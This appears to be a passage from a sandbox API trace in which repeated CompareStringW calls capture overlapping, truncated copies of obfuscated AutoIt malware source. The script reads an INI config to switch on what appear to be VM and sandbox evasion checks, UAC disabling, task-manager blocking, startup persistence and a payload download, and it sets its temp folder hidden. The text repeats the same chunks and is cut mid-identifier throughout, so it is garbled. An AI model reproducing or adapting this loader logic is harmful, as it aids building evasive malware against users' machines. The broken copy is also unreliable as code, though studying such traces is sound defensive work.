$7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="26EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041F", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FC", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCA", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' 